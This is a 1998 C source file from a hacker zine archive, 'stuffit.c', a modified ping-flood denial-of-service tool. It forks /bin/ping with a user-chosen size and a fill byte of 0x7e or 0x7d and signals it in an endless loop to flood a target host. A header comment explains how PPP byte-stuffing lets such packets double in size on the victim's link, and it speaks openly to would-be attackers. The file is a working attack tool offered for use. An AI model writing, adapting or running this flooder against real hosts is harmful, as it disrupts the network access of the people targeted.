home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / stuffit.c < prev    next >
C/C++ Source or Header  |  1998-12-23  |  3KB  |  77 lines

  1.  
  2. /*   
  3.    Stuffit.c
  4.    Noc-Wage -*- wage@idirect.ca
  5.            12/12/98
  6.  
  7.    This is just a modified version of:
  8.    pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
  9.    enhanced by David Welton <davidw@cks.com>
  10.  
  11.    I simply made it so that it will generate the ping packets so
  12.    that they contain 0x7e which is an illegal character in PPP 
  13.    frames.  I also made it so you could set the size of the packet
  14.    hopefully this came with my keen veracity article
  15.    but incase it didn't here is part of it  so you understand why 
  16.    this even exsists:
  17.  
  18.      Explanation of Byte Stuffing
  19.  
  20.    As explained in the PPP frame explanation there is a risk that 
  21.    certain illegal values will end up in the information of a PPP 
  22.    frame.  To solve this problem byte-stuffing is used.  In the 
  23.    case of PPP frames the illegal value is changed to two bytes.
  24.    One is the value 01111101 (0x7D) the other is the illegal 
  25.    character XOR'd with 0x20.  In the case of 0x7E it will become
  26.    0x7D, 0x5E.  This also makes any 0x7D which was not added by
  27.    the PPP daemon to be encoded in the same manner to avoid 
  28.    corrupting valid data.  What this means is that a single byte
  29.    (for example 0x7E) will be converted into a pair of bytes
  30.    (0x7D, 0x5E) but only when encapsulated in PPP frames.
  31.    If 4-bytes in the datagram are 0x7E then each of those 4-bytes
  32.    will be converted into the 0x7D, 0x5E pair.  This results in
  33.    the 4-bytes being turned into 8-bytes when encapsulated in a 
  34.    PPP frame.  This added data is known as "overhead".
  35.  
  36.    The implications of this is that maliciously engineered packets
  37.    could be made to exploit the byte-stuffing method and can 
  38.    cause a worst case overhead of 100%.  This means that a packet 
  39.    could literally double in size when encapsulated in a PPP 
  40.    frame. A 1024-byte ECHO_REQUEST could seem like 2048-bytes.  
  41.    This means that an attacker requires half the bandwidth to
  42.    cause the same amount of disruption.  This also means that if
  43.    an attacker is on a PPP connection and is attempting this 
  44.    attack he will also find that he requires as much bandwidth to 
  45.    transmit the packets as the victim requires to recieve them.
  46.  
  47.    If you don't understand why this is a bad thing then don't 
  48.    bother using this program because you'll most likely use
  49.    it ineffectively.
  50. */
  51.  
  52. #include <signal.h>
  53.  
  54. #define PING "/bin/ping"
  55.  
  56. main( int argc, char *argv[] )
  57. {
  58.   int pid_ping;
  59.   if (argc < 3) {
  60.     printf("use: %s <hostname> <size> <illegal char>  (I'd suggest 7e or 7d)\n", argv[0]);
  61.     exit(0);
  62.   }
  63.  
  64.   if(!(pid_ping = fork()))
  65.     execl(PING, "ping", argv[1], "-s", argv[2], "-p", argv[3]);
  66.  
  67.   if ( pid_ping <=0 ) {
  68.     printf("pid <= 0\n");
  69.     exit(1);
  70.   }
  71.  
  72.   sleep (1);  /* give it a second to start going  */
  73.   while (1)
  74.     if ( kill(pid_ping, SIGALRM) )
  75.       exit(1);
  76. }
  77.